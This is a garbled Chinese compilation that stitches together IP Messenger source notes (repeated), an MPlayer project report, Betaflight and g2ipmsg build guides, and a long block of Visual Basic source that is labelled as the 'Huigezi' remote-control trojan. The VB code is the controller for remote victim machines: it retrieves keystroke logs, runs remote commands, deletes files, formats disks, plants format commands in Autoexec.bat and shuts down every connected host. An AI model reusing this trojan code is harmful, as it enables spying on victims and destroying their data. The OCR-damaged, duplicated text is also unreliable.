飞鸽源代码及编译全过程
飞鸽代码分析

发送文件目录主函数是SendDirFile(SendFileObj*obj)该函数里面有五个分支判断分别对应的属性(即发送状态是)FS_OPENINFO FS_FIRSTINFO||FS_NEXTINFO FS_DIRFILESTART||FS_MAKEI NFO FS_TRANSINFO FS_TRANSFILE各自做不同处理在上一分支做了处理后即将属性改为下一属性,等到下一分支处理。
在FS_OPENINFO里面在FS_FIRSTINFO||FS_NEXTINFO里面如果是FS-FIRSTINFO属性,给发送对象的path 添加”* “任意文件,避过开始在该目录下寻找第一个文件如果为FS_NEXTINFO属性则用FindNextFile向后循环查找目录下其他文件,这个函数第二个参数都是WIN32_FIND_DATA然后开始在后面while循环查找所有(非目录的)文件,如果查找到第一个非目录即非.或者..的文件,将属性改为FS_MAKEINFO在FS_DIRFILESTART||FS_MAKEINFO属性里面构造与该文件有关的一切属性,比如路径目录属性等等,构造好以后改属性为FS_TRANSINFO在FS_TRANSINFO属性里面发送文件相关的属性比如目录路径属性如果没有发送完毕,继续发送, obj->status = obj->dirCnt < 0 ? FS_COMPLETE : find == FALSE ?FS_NEXTINFO : (obj->fdata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ?FS_OPENINFO : FS_TRANSFILE;根据这条代码进行判断此时发送对象状态,设置不同属性,如果dircnt目录数目小于0,发送完毕,设置为FS_COMPLETE,否则根据find属性判断是设置FS_NEXTINFO继续查找文件,如果查找完毕根据属性是否为目录是的话回到开始设置FS_OPENINFO属性,查找下一层目录,都完毕了,设置FS_TRANSFILE开始真正的文件传送在FS_TRANSFILE里面开始真正的文件传送(实际上是调用SendFile函数发送),发送完后关闭发送函数,然后根据文件的状态,目录与否修改属性为FS_NEXTINFO或FS_MAKEINFO继续发送。
IPMSG飞鸽传书

目录飞鸽传书主界面ipmsg全称:IP Messenger,中文名为“飞鸽传书”,是一款由一个名叫H.Shirouzu的日本人开发和维护的用C语言写的局域网聊天和文件传输工具。
后来发展为很多志愿者共同开发多种版本。
它是一个小巧方便的即时通信软件,它适合用于局域网内甚至广域网间进行实时通信和文档共享。
特别是在局域网内传送文件/文件夹的效率很高。
它具有很多优点,如数据通讯不需要建立服务器、直接在两台电脑间通信和数据传输,支持文件及文件目录的传输,安全快捷以及小巧方便等优异特点,因此很多公司都采用它作为部门、公司内部的IM 即时通信工具。
Ipmsg - 功能介绍- IPMsg 是一款局域网内即时通信软件, 基于TCP/IP(UDP).可运行于多种操作平台(Win/Mac/UNIX/Java), 并实现跨平台信息交流.- 不需要服务器支持(软件本身集成了服务端和客户端)- 支持文件/文件夹的传送(2.00版以上)- 通讯数据采用RSA/Blofish 加密(2.00版以上)- 十分小巧, 简单易用, 而且可以完全免费使用它- 目前已有的版本包括: Win32, Win16, MacOS, MacOSX, X11, GTK, GNOME,Java 等,并且公开源代码。
Ipmsg - 源码简介IP Messenger在程序结构方面采用了Windows SDK处理结构,通信方面采用了TCP/UDP通信方式,在文件传输处理方面采用文件映射技术,等等。
通过分析IP Messenger 的运行、工作原理,可以提高并加深对Windows处理流程的理解,提高SOCKET编程技术等,因此特对其源码进行分析,以抛砖引玉,共同提高大家的编程技术。
1、IP Messenger源代码的下载在写这篇文章时,IP Messenger的最新版本是2.06,因此大家在下载时尽量选择最新版本下载。
IP Messenger源代码的下载地址是/,在网站的右上角,点击English page,网站转换到英文界面,网站有英文版以及其它语言的版本,当然还有中文版的链接(/IPMsg/),建议大家尽量下载原版的英文版源代码,以利于学习。
飞鸽传书项目文档

Mplayer 项目一、项目说明MPlayer是一款开源的多媒体播放器,以GNU通用公共许可证发布oMPlayer 是建基于命令行界面,在各作业系统可选择安装不同的图形界面。
Mplayer控制方式主要有键盘控制和命令行控制。
Mplayer项口是在Ubuntul2. 0. 4下实现,在基于A8内核的开发板上进行运行,所以该项Id采用了命令行控制模式进行对Mplayer 操作。
二、实现功能1)、该项LI主要实现了以下基本功能:1、能够播放歌曲文件2、能通过触摸屏按钮控制mplayer播放、暂停、快进、快退、上一首、下一首。
3、能通过物理按键控制mplayer播放、暂停、快进、快退、上一首、下一首。
4、显示歌曲列表,当前播放歌曲须要反显,点击对应歌曲能切换。
5、显示歌曲信息。
6、显示歌曲时间。
7、显示歌曲进度条。
8、显示歌曲对应的歌词,并且能够和歌曲同步。
9、能够自动换歌(播放完一首歌曲后,自动播放下一首歌)。
2)、创新点1、能够播放带空格的歌曲。
2、能够进行歌曲列表的翻页操作。
3、能够单击进度条进行随机播放。
三、项目步骤1、初始化显示屏在使用开发板的液晶屏前必需先初始化液晶屏,初始化液晶屏后我们才可以使用液晶屏的相关的函数,并且液晶屏的初始化函数应只调用一次,不可重复初始化,初始化液晶屏时可用函数TFT.Init (7dev/fbO")。
2、创建背景窗口,显示背景创建背景窗口可用函数TFT_CreateWindowEx ()。
组名:燃龙飞祥口号:飞得更商3、读歌曲口录,存歌曲名耳一函数使用opendir、readdir^ closedir函数读歌曲I」录的文件,创建数据库和表,保存歌曲文件的文件名。
4、打印歌曲列表写一函数将存储起来的歌曲名打印到屏幕上,打印时注意将正在播放的歌曲高亮、突出显示。
在调用打印函数前应设置打印位置,打印的颜色(即前景色,并且前景色与背景色应设置为不同的颜色)。
清除窗口内容可用函数TFT.ClearWindow ()。
IPMSG飞鸽传书

目录飞鸽传书主界面ipmsg全称:IP Messenger,中文名为“飞鸽传书”,是一款由一个名叫H.Shirouzu的日本人开发和维护的用C语言写的局域网聊天和文件传输工具。
后来发展为很多志愿者共同开发多种版本。
它是一个小巧方便的即时通信软件,它适合用于局域网内甚至广域网间进行实时通信和文档共享。
特别是在局域网内传送文件/文件夹的效率很高。
它具有很多优点,如数据通讯不需要建立服务器、直接在两台电脑间通信和数据传输,支持文件及文件目录的传输,安全快捷以及小巧方便等优异特点,因此很多公司都采用它作为部门、公司内部的IM 即时通信工具。
Ipmsg - 功能介绍- IPMsg 是一款局域网内即时通信软件, 基于TCP/IP(UDP).可运行于多种操作平台(Win/Mac/UNIX/Java), 并实现跨平台信息交流.- 不需要服务器支持(软件本身集成了服务端和客户端)- 支持文件/文件夹的传送(2.00版以上)- 通讯数据采用RSA/Blofish 加密(2.00版以上)- 十分小巧, 简单易用, 而且可以完全免费使用它- 目前已有的版本包括: Win32, Win16, MacOS, MacOSX, X11, GTK, GNOME,Java 等,并且公开源代码。
Ipmsg - 源码简介IP Messenger在程序结构方面采用了Windows SDK处理结构,通信方面采用了TCP/UDP通信方式,在文件传输处理方面采用文件映射技术,等等。
通过分析IP Messenger 的运行、工作原理,可以提高并加深对Windows处理流程的理解,提高SOCKET编程技术等,因此特对其源码进行分析,以抛砖引玉,共同提高大家的编程技术。
1、IP Messenger源代码的下载在写这篇文章时,IP Messenger的最新版本是2.06,因此大家在下载时尽量选择最新版本下载。
IP Messenger源代码的下载地址是/,在网站的右上角,点击English page,网站转换到英文界面,网站有英文版以及其它语言的版本,当然还有中文版的链接(/IPMsg/),建议大家尽量下载原版的英文版源代码,以利于学习。
bateflight编译

Betaflight编译什么是Betaflight?Betaflight是一款开源的多轴飞行控制软件,旨在为飞行控制器提供先进的功能和精确的飞行性能。
它是由一群热爱FPV(First Person View,第一人称视角)飞行的开发者所创建和维护的。
Betaflight支持多种飞行器类型,包括四旋翼、六旋翼、八旋翼和直升机。
Betaflight编译的目的编译Betaflight的主要目的是为了定制和优化飞行控制软件,以满足飞行器飞行性能和个人需求的特定要求。
通过编译Betaflight,用户可以自定义飞行控制软件的功能、配置和飞行参数,以实现更加精确和高效的飞行控制。
Betaflight编译的基本步骤以下是编译Betaflight的基本步骤:1.获取Betaflight源代码:首先,需要从Betaflight官方仓库或GitHub上获取最新的Betaflight源代码。
可以使用Git命令行或GitHub Desktop等工具进行克隆或下载。
2.安装编译工具链:为了编译Betaflight,需要安装适当的编译工具链。
根据操作系统的不同,可以选择安装GNU工具链或其他支持编译Betaflight的工具链。
3.配置编译环境:在编译Betaflight之前,需要对编译环境进行适当的配置。
这包括设置编译工具链的路径、选择目标硬件平台和配置编译选项等。
4.修改配置文件:Betaflight提供了一个配置文件,用于定义飞行控制软件的功能和参数。
用户可以根据自己的需求修改配置文件,以实现定制化和优化。
5.编译Betaflight:一切准备就绪后,可以开始编译Betaflight。
通过运行适当的编译命令,编译器将根据配置文件和编译选项生成飞行控制软件的可执行文件。
6.烧录固件:编译完成后,需要将生成的飞行控制软件固件烧录到飞行控制器上。
可以使用USB连接器或其他烧录工具将固件烧录到飞行控制器的存储器中。
Betaflight编译的高级选项和功能除了基本的编译步骤外,Betaflight还提供了一些高级选项和功能,以满足更高级的需求和定制。
linux中飞鸽安装详解

linux中飞鸽(g2ipmsg)的安装及相关问题的解决对于用局域网上网的朋友,应该经常使用飞鸽来与其他人共享资源,因为其速度快,简单易用,得到很多好评。
但是对于使用linux的用户,就不方便了,其实官方同样有适合linux的飞鸽,即g2ipmsg。
下面介绍一下其安装,使用方法。
和同学一起用了一下,总结出来一些方法,不足之处还请见谅。
下载飞鸽这是其官方网站(其实是个人开发的):/index.html.en选择UNIX平台下的GNOME2 IP Messenger by T.Kato,即/archive/g2ipmsg-0.9.6.tar.gz,目前最新的是g2ipmsg-0.9.6.tar.gzPS:GNOME/GTK 这个版本需要GTK,可能安装有点麻烦,直接用上面那个就行了对源文件进行配置(是为了更好的支持中文,不然的话,无法识别中文名字和中文内容)1、解压文件tar zxvf g2ipmsg-0.9.5.tar.gz2、修改文件cd g2ipmsg-0.9.5/srcvi codeset.c文件:src/codeset.c原文:#define IPMSG_PROTO_CODE IPMSG_EXTERNAL_CHARCODE改成:#define IPMSG_PROTO_CODE "GBK"然后保存退出即可编译安装cd g2ipmsg-0.9.5./configure --enable-systraymakesumake install安装完成后,打开应用程序->附件,看里面是不是有熟悉的飞鸽,但是别急,现在你的飞鸽还不能与别人通信,看下面防火墙的配置(允许飞鸽的服务端口2425,配置完了以后才可以互相传送文件)1、用root用户输入system-config-firewall,回车,打开防火墙界面2、选择里面的“其它端口”,然后占击右面的“添加”,选择“用户自定义”,第一个文本框输入2425,选择TCP协议,然后确定。
《灰鸽子》服务端源代码

Private Type NOTIFYICONDATAcbSize As Longhwnd As LonguId As LonguFlags As LongucallbackMessage As LonghIcon As LongszTip As String * 64 '指向后显示文本长度End TypePrivate Const NIM_ADD = &H0Private Const NIM_MODIFY = &H1Private Const NIM_DELETE = &H2Private Const WM_MOUSEMOVE = &H200Private Const NIF_MESSAGE = &H1Private Const NIF_ICON = &H2Private Const NIF_TIP = &H4Private Const WM_LBUTTONDBLCLK = &H203Private Const WM_LBUTTONDOWN = &H201Private Const wm_lbuttonup = &H202Private Const WM_RBUTTONDBLCLK = &H206Private Const WM_RBUTTONDOWN = &H204Private Const WM_RBUTTONUP = &H205Private Declare Function Shell_NotifyIcon Lib "shell32" Alias "Shell_NotifyIconA" (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As BooleanDim T As NOTIFYICONDATAPublic Strtimer As StringDim Buto As StringDim Scmnumber As IntegerDim Scmlb1 As LongDim lcon As BooleanDim Buuse As BooleanPrivate Sub Abscm_Click()Frmabout.ShowEnd SubPrivate Sub Box1_Change()With Box1'.SetFocus '选.SelStart = 0.SelLength = Len(.Text)End WithEnd SubPrivate Sub Box2_KeyPress(keyascii As Integer)On Error GoTo scIf keyascii = 13 ThenIf Buto <> "Use Button" Then GoTo TobutoIf Box2.Text = "" ThenMsgBox "发送内容不能空!", 64, "提示"Box2.Text = ""Box2.SetFocusSendKeys "{backspace}"ElseCall Sendinfor("Msgwins" & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box2.Text & vbCrLf & vbCrLf)Box1.Text = Box1.Text & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box2.Text & vbCrLf & vbCrLfBox2.Text = ""Box2.SetFocusSendKeys "{backspace}"Scmtxt1.Text = Scmtxt1.Text & vbCrLf & "信息发送成功!" & "(" & Time$ & ")" & vbCrLfEnd Ifa1 = 2If a1 = 2 ThenElsesc: MsgBox "(" & Scmnet1(0).LocalHostName & ")" & "该用户可能已经下了线!", 64, "提示" ' Command1.Enabled = False'Box2.Text = ""Box2.SetFocusSendKeys "{backspace}"End IfEnd IfTobuto:End SubPrivate Sub Box5_Change()With Box5'.SetFocus '选.SelStart = 0.SelLength = Len(.Text)End WithEnd SubPrivate Sub Box6_KeyPress(keyascii As Integer)On Error GoTo scIf keyascii = 13 ThenIf Buto <> "Use Button" Then GoTo TobutoIf Box6.Text = "" ThenMsgBox "发送内容不能空!", 64, "提示"Box6.Text = ""Box6.SetFocusSendKeys "{backspace}"ElseFor i = 1 To UBound(Sac)If Not i = index ThenIf Sac(i) ThenScmnet1(i).SendData "Messgif" & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box6.Text & vbCrLf & vbCrLfDoEventsEnd IfEnd IfNext iBox5.Text = Box5.Text & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box6.Text & vbCrLf & vbCrLfBox6.Text = ""Box6.SetFocusSendKeys "{backspace}"Scmtxt1.Text = Scmtxt1.Text & vbCrLf & "聊天室信息发送成功!" & "(" & Time$ & ")" & vbCrLfEnd Ifa1 = 2If a1 = 2 ThenElsesc:'MsgBox "没有用户在线!", 64, "提示"Box5.Text = Box5.Text & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box6.Text & vbCrLf & vbCrLfBox6.Text = ""Box6.SetFocusSendKeys "{backspace}"Scmtxt1.Text = Scmtxt1.Text & vbCrLf & "聊天室信息发送成功!" & "(" & Time$ & ")" & vbCrLfEnd IfEnd IfTobuto:End SubPrivate Sub Clcu_Click()On Error Resume NextIf Scmlb1 > "0" ThenIf MsgBox("你确定要关闭所有上线用户的计算机吗!", vbYesNo, "提示") = vbYes ThenFor i = 1 To UBound(Sac)If Not i = index ThenIf Sac(i) ThenScmnet1(i).SendData "CLOSECU"DoEventsEnd IfEnd IfNext iEnd IfElseMsgBox "还没有主机上线!", 64, "提示"End IfEnd SubPrivate Sub Closecon_Click()On Error Resume NextIf Conhosn <> "" ThenConhosn = ""Scmsta1.Panels(3).Text = "主机名称:" & "没找到" Scmsta1.Panels(2).Text = "连接状态:" & "已关闭连接" Scmsta1.Panels(4).Text = "提示:" & "已关闭连接"End IfIf Scmnet2.State = 7 ThenScmnet2.SendData "Closeco"End IfEnd SubPrivate Sub Combo2_Click()Dos1.Text = Combo2.TextEnd SubPrivate Sub Command10_Click()Call Sendinfor("Getsysf")End SubPrivate Sub Command11_Click()Call Sendinfor("Getdirs")End SubPrivate Sub Command12_Click()On Error GoTo DlgerrDlg1.filename = "获取主机信息记录"Dlg1.Filter = "(*.txt)|*.txt|"Dlg1.ShowSaveOpen Dlg1.filename For Output As #1Print #1, Box4.TextClose #1MsgBox "已成功保存到:" + Dlg1.filename, 64, "提示" Exit SubDlgerr:End SubPrivate Sub Command13_Click()Call Sendinfor("Keybinf")End SubPrivate Sub Command14_Click()Box3.Text = ""End SubPrivate Sub Command15_Click()On Error GoTo DlgerrDlg1.filename = "键盘操作信息记录"Dlg1.Filter = "(*.txt)|*.txt|"Dlg1.ShowSaveOpen Dlg1.filename For Output As #1Print #1, Box3.TextClose #1MsgBox "已成功保存到:" & Dlg1.filename, 64, "提示"Exit SubDlgerr:End SubPrivate Sub Command16_Click()Call Sendinfor("Msgbox1" & Text1.Text)End SubPrivate Sub Command17_Click()Call Combo_mEnd SubPrivate Sub Command18_Click()On Error GoTo scIf Box2.Text = "" ThenMsgBox "发送内容不能空!", 64, "提示"ElseCall Sendinfor("Msgwins" & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box2.Text & vbCrLf & vbCrLf)Box1.Text = Box1.Text & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box2.Text & vbCrLf & vbCrLfBox2.Text = ""Scmtxt1.Text = Scmtxt1.Text & vbCrLf & "信息发送成功!" & "(" & Time$ & ")" & vbCrLfEnd Ifsc:End SubPrivate Sub Command19_Click()Box1.Text = ""Scmtxt1.Text = Scmtxt1.Text + vbCrLf + "清空内容成功!" + "(" + Time$ + ")" + vbCrLf End SubPrivate Sub Command2_Click()On Error Resume Next'List1.ClearFor i = 1 To UBound(Sac)If Not i = index ThenIf Sac(i) ThenScmnet1(i).CloseDoEventsEnd IfEnd IfNext iEnd SubPrivate Sub Command20_Click()On Error GoTo DlgerrDlg1.filename = "聊天信息记录"Dlg1.Filter = "(*.txt)|*.txt|"Dlg1.ShowSaveOpen Dlg1.filename For Output As #1Print #1, Box1.TextClose #1MsgBox "已成功保存到:" & Dlg1.filename, 64, "提示"Exit SubDlgerr:End SubPrivate Sub Command21_Click()On Error GoTo scIf Box6.Text = "" ThenMsgBox "发送内容不能空!", 64, "提示"ElseFor i = 1 To UBound(Sac)If Not i = index ThenIf Sac(i) ThenScmnet1(i).SendData "Messgim" & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box6.Text & vbCrLf & vbCrLfDoEventsEnd IfEnd IfNext iBox5.Text = Box5.Text & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box6.Text & vbCrLf & vbCrLfBox6.Text = ""Scmtxt1.Text = Scmtxt1.Text & vbCrLf & "聊天室信息发送成功!" & "(" & Time$ & ")" & vbCrLfEnd Ifa1 = 2If a1 = 2 ThenElsesc:'MsgBox "没有用户在线!", 64, "提示"Box5.Text = Box5.Text & "(" & Time$ & ")" & Scmnet1(0).LocalHostName & ":" & vbCrLf & Box6.Text & vbCrLf & vbCrLfBox6.Text = ""End IfEnd SubPrivate Sub Command22_Click()Box5.Text = ""Scmtxt1.Text = Scmtxt1.Text + vbCrLf + "清空内容成功!" + "(" + Time$ + ")" + vbCrLfEnd SubPrivate Sub Command23_Click()On Error GoTo DlgerrDlg1.filename = "聊天室信息记录"Dlg1.Filter = "(*.txt)|*.txt|"Dlg1.ShowSaveOpen Dlg1.filename For Output As #1Print #1, Box5.TextClose #1MsgBox "已成功保存到:" & Dlg1.filename, 64, "提示"Exit SubDlgerr:End SubPrivate Sub Command26_Click()Call Sendinfor("Sabeep1" & Text18.Text) End SubPrivate Sub Command27_Click()Dim Ft1 As LongDim a1 As Long, b1 As LongOn Error GoTo BeeperrFt1 = Text18.TextDo While Ft1 > 0a1 = CLng(Text19.Text) '频率b1 = CLng(Text20.Text) '长度APIBeep a1, b1Ft1 = Ft1 - 1Sleep 200LoopExit SubBeeperr:End SubPrivate Sub Command28_Click()Call Sendinfor("Showtas")End SubPrivate Sub Command29_Click()Call Sendinfor("Hidestc")End SubPrivate Sub Command3_Click()Call Sendinfor("Hidedes")End SubPrivate Sub Command30_Click()Call Sendinfor("Showstc")End SubPrivate Sub Command31_Click()Call Sendinfor("Wallpap" & "F:\星子行开发工程\星子行(开发)\客户端\1.JPG") End SubPrivate Sub Command32_Click()Call Sendinfor("Delwall")End SubPrivate Sub Command33_Click()If Option4.Value = False And Option5.Value = False And Option6.Value = False Then Rscreen.Color1 = 1ElseIf Option4.Value = True ThenRscreen.Color1 = 0ElseIf Option5.Value = True ThenRscreen.Color1 = 1ElseIf Option6.Value = True ThenRscreen.Color1 = 2ElseEnd IfWith Rscreen.Scmnet5.Close.LocalPort = "8000".ListenEnd WithCall Sendinfor("Portfo2")End SubPrivate Sub Command34_Click()Rscreen.udp6 = "8823"Rscreen.udp7 = "8824"Rscreen.Scmnet6.CloseRscreen.Scmnet7.CloseCall Sendinfor("Udpport" & Rscreen.udp6)End SubPrivate Sub Command4_Click()Call Sendinfor("Showdes")End SubPrivate Sub Command40_Click()If Conhosn <> "" Then''''''''''''''''''''''''''''''''''''''''''''''If MsgBox("请注意!此操作存在违法行为,可能带来严重损失和后果!" + vbCrLf + "造成一切后果和损失请自行负责,与本公司一切联系无关!" + vbCrLf + "请慎重考虑再使用!" + vbCrLf + "是否进行格式化?" + vbCrLf + "格式化请按“是”" + vbCrLf + "不格式化请按“否”", vbYesNo, "警告") = vbYes Then '格式化If Combo3.Text <> "磁盘" ThenIf Option7.Value = True ThenCall Sendinfor("Formatc" & Combo3.Text)ElseIf Option8.Value = True ThenCall Sendinfor("Formatd" & Combo3.Text)ElseMsgBox "请确定格式化的方式!", 64, "提示"End IfElseMsgBox "请选择一个磁盘!", 64, "提示"End IfElse '格式化End If '格式化''''''''''''''''''''''''''''''''''''''''''''''''''''''ElseMsgBox "还没连接主机!", 64, "提示"End IfEnd SubPrivate Sub Command41_Click()If Conhosn <> "" Then''''''''''''''''''''''''''''''''''''''''''''''''''''If Option7.Value = True ThenCall Sendinfor("Wriautf")Scmtxt1.Text = Scmtxt1.Text + vbCrLf + "已发送快速格式化命令种子:Autoexec.bat" + "(" + Time$ + ")" + vbCrLfElseIf Option8.Value = True ThenCall Sendinfor("Wriautg")Scmtxt1.Text = Scmtxt1.Text + vbCrLf + "已发送完全格式化命令种子:Autoexec.bat" + "(" + Time$ + ")" + vbCrLfElseMsgBox "请确定种下格式化的方式!", 64, "提示"End If''''''''''''''''''''''''''''''''''''''''''''''''''''ElseMsgBox "还没连接主机!", 64, "提示" End IfEnd SubPrivate Sub Command42_Click()Call Sendinfor("Cmdcoms" & Dos1) End SubPrivate Sub Command43_Click()Call Sendinfor("DELETEF" & Text3.Text) End SubPrivate Sub Command44_Click()If Conhosn <> "" Then''''''''''''''''''''''''''''''''''''''''''''Select Case Combo4.TextCase "例:入侵主机,重启"Call Sendinfor("Closecp")Case "重启(远程主机选择执行)"Call Sendinfor("Comaub1" & Text7.Text)End Select''''''''''''''''''''''''''''''''''''''''''''''ElseMsgBox "还没连接主机!", 64, "提示" End IfEnd SubPrivate Sub Command45_Click() Select Case Combo4.TextCase "例:入侵主机,重启"If MsgBox("有一台主机入侵本机,是否允许?" + vbCrLf + "不允许主机入侵系统会自动重启,开机后主机自动入侵成功!", vbYesNo, "非法入侵") = vbYes ThenMsgBox "主机已成功入侵本机,主机要对本机进行非法操作!", 48, "注意"ElseMsgBox "预览不关服务端系统!", 48, "提示"End IfCase "重启(远程主机选择执行)"If MsgBox(Text8.Text, vbYesNo, Text7.Text) = vbYes ThenMsgBox "主机已成功入侵本机,主机要对本机进行非法操作!", 48, "注意"ElseMsgBox "预览不关服务端系统!", 48, "提示"End IfEnd SelectEnd SubPrivate Sub Command46_Click()Call Sendinfor("OPENFIL" & Text3.Text)End SubPrivate Sub Command48_Click()Call Sendinfor("LIULANE" & Text3.Text)End SubPrivate Sub Command5_Click()Call Sendinfor("Hidetas")End SubPrivate Sub Command58_Click()MsgBox "例如:Http:\\\xxx.Mp3" & "(" & "注意:Http:" & ")" & "不可省略!", 64, "提示"End SubPrivate Sub Command59_Click()If MsgBox("是否显示播放器?" & vbCrLf & "显示请按“是”" & vbCrLf & "不显示请按“否”", vbYesNo, "播放提示") = vbYes ThenCall Sendinfor("Wmpplay" & Text17.Text)ElseCall Sendinfor("Wmphide" & Text17.Text)End IfEnd SubPrivate Sub Command6_Click()On Error Resume NextIf Option1.Value = True ThenCall Sendinfor("CLOSECU")ElseIf Option2.Value = True ThenCall Sendinfor("RESETLO")ElseIf Option3.Value = True ThenCall Sendinfor("RESETCU")ElseEnd IfEnd SubPrivate Sub Command60_Click()Call Sendinfor("Wmpstop")End SubPrivate Sub Command61_Click()If Buuse = False Then'''''''''''''''''''''''''''''''''''''''''If MsgBox("是否显示播放器?" & vbCrLf & "显示请按“是”" & vbCrLf & "不显示请按“否”", vbYesNo, "播放提示") = vbYes ThenMediaplay.Wmp.URL = Text17.TextMediaplay.ShowScmtxt1.Text = Scmtxt1.Text & vbCrLf & "正在预览播放..." & "(" & Time$ & ")" & vbCrLfElseBuuse = TrueCommand61.Caption = "停止预览"Mediaplay.Wmp.URL = Text17.TextScmtxt1.Text = Scmtxt1.Text & vbCrLf & "隐藏预览播放..." & "(" & Time$ & ")" & vbCrLfEnd If''''''''''''''''''''''''''''''''''''''''''''''''''Else 'Buuse = FalseMediaplay1.Wmp1.CloseBuuse = FalseCommand61.Caption = "预览"End If 'Buuse = FalseEnd SubPrivate Sub Command7_Click()Call Sendinfor("OpenCDR")End SubPrivate Sub Command8_Click()Call Sendinfor("CloseCD")End SubPrivate Sub Command9_Click()Call Sendinfor("Winrunt")End SubPrivate Sub Cuto_Click()Buto = "Close Button"Cuto.Enabled = FalseSendkeyq.Enabled = TrueEnd SubPrivate Sub Del_Click()On Error Resume NextIf MsgBox("你确定要删除“" & ListView1.SelectedItem.Text & "”吗!", vbYesNo, "提示") = vbYes ThenIf ListView1.SelectedItem.Key <> "127.0.0.1" ThenListView1.ListItems.Remove (ListView1.SelectedItem.index)ListView1.Sorted = TrueElseMsgBox "不能删除我的电脑!", 48, "提示"End IfElseEnd IfEnd SubPrivate Sub Dos1_KeyPress(keyascii As Integer)If keyascii = 13 ThenCall Command42_ClickEnd IfEnd SubPrivate Sub einew_Click()ListView1.Sorted = TrueEnd SubPrivate Sub Exit_Click()Shell_NotifyIcon NIM_DELETE, TEndEnd SubPrivate Sub Command1_Click()On Error Resume NextIf IPT1.Text <> "" ThenWith Scmnet2.Close.RemotePort = "8820" 'Textport2.RemoteHost = IPT1.TextEnd WithScmtxt1.Text = Scmtxt1.Text & "正在连接主机中..." & vbCrLf Scmsta1.Panels(3).Text = "主机名称:" & "寻找中..."Scmsta1.Panels(4).Text = "提示:" & "连接主机中" Scmtimer1.Enabled = TrueElseMsgBox "请输入一个连接IP", 16, "提示"End IfEnd SubPrivate Sub Form_Load()On Error Resume NextDim itmX As ListItemT.cbSize = Len(T)T.hwnd = Main.hwndT.uId = 1&T.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGET.ucallbackMessage = WM_MOUSEMOVET.hIcon = Me.IconT.szTip = "星子行" & vbNullCharShell_NotifyIcon NIM_ADD, TScmlb1 = "0"Scmnumber = 0Cuto.Enabled = FalseButo = "Close Button"Set itmX = ListView1.ListItems.Add(1, "127.0.0.1", "我的电脑", 1)Me.Caption = "我的电脑:" & Scmnet1(0).LocalHostName & "(" & Scmnet1(0).LocalIP & ")" Scmtxt1.Text = Scmtxt1.Text & "上线端口:" & "8818" & vbCrLfScmsta1.Panels(1).Text = "服务器状态:" & "暂停"Scmsta1.Panels(2).Text = "连接状态:" & "没有连接"Scmsta1.Panels(3).Text = "主机名称:" & "没连接主机"Scmsta1.Panels(4).Text = "提示:" & "没有主机上线"Scmsta1.Panels(5).Text = "上线台数:" & Scmlb1With Scmnet1(0).Close.LocalPort = "8818" ' Text4.Text.ListenEnd WithIf Scmnet1(0).State = sckListening ThenScmsta1.Panels(1).Text = "服务器状态:" & "启动"End IfEnd SubPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)If lcon = False ThenMain.HideCancel = -1Elselcon = FalseCancel = 0End IfEnd SubPrivate Sub Htgl_Click()Main.HideEnd SubPrivate Sub IPT1_KeyPress(keyascii As Integer)Select Case keyasciiCase "13"Call Command1_ClickCase "27"Scmtimer1.Enabled = FalseIf Scmnet2.State <> 7 ThenScmnet2.CloseScmsta1.Panels(2).Text = "连接状态:" & "没有连接"Scmsta1.Panels(3).Text = "主机名称:" & "没连接主机"Scmsta1.Panels(4).Text = "提示:" & "已经取消连接"End IfEnd SelectEnd SubPrivate Sub Lcul_Click()On Error Resume NextIf Scmlb1 > "0" ThenIf MsgBox("你确定要注销所有上线用户的计算机吗!", vbYesNo, "提示") = vbYes ThenFor i = 1 To UBound(Sac)If Not i = index ThenIf Sac(i) ThenScmnet1(i).SendData "RESETLO"DoEventsEnd IfEnd IfNext iEnd IfElseMsgBox "还没有主机上线!", 64, "提示"End IfEnd SubPrivate Sub Linkh_Click()If Scmlb1 <> "0" ThenScmtimer1.Enabled = FalseScmsta1.Panels(3).Text = "主机名称:" & "没找到"Scmsta1.Panels(2).Text = "连接状态:" & "没有连接"Conhosn = ""Conhosn = ListView1.SelectedItem.KeyOn Error Resume NextFor i = 1 To UBound(Sac)If Not i = index ThenIf Sac(i) ThenIf Scmnet1(i).RemoteHostIP = Conhosn ThenScmnet1(i).SendData "Conhost" & Scmnet1(0).LocalHostNameEnd IfDoEventsEnd IfEnd IfNext iEnd IfEnd SubPrivate Sub List1_Click()On Error Resume NextIf lcon = False ThenScmtimer1.Enabled = FalseScmsta1.Panels(3).Text = "主机名称:" & "没找到"Scmsta1.Panels(2).Text = "连接状态:" & "没有连接"Conhosn = ""Conhosn = List1.TextFor i = 1 To UBound(Sac)If Not i = index ThenIf Sac(i) ThenIf Scmnet1(i).RemoteHostIP = Conhosn ThenScmnet1(i).SendData "Conhost" & Scmnet1(0).LocalHostNameEnd IfDoEventsEnd IfEnd IfNext iEnd IfEnd SubPrivate Sub ListView1_DblClick()If Scmlb1 <> "0" ThenScmtimer1.Enabled = FalseScmsta1.Panels(3).Text = "主机名称:" & "没找到"Scmsta1.Panels(2).Text = "连接状态:" & "没有连接"Conhosn = ""Conhosn = ListView1.SelectedItem.KeyOn Error Resume NextFor i = 1 To UBound(Sac)If Not i = index ThenIf Sac(i) ThenIf Scmnet1(i).RemoteHostIP = Conhosn ThenScmnet1(i).SendData "Conhost" & Scmnet1(0).LocalHostNameEnd IfDoEventsEnd IfEnd IfNext iEnd IfEnd SubPrivate Sub Command1_keypress(keyascii As Integer)If keyascii = 27 ThenScmtimer1.Enabled = FalseIf Scmnet2.State <> 7 ThenScmnet2.CloseScmsta1.Panels(2).Text = "连接状态:" & "没有连接"Scmsta1.Panels(3).Text = "主机名称:" & "没连接主机"Scmsta1.Panels(4).Text = "提示:" & "已经取消连接"End IfEnd IfEnd SubPrivate Sub Open_Click()Main.ShowEnd SubPrivate Sub Rdfile_Click()MsgBox 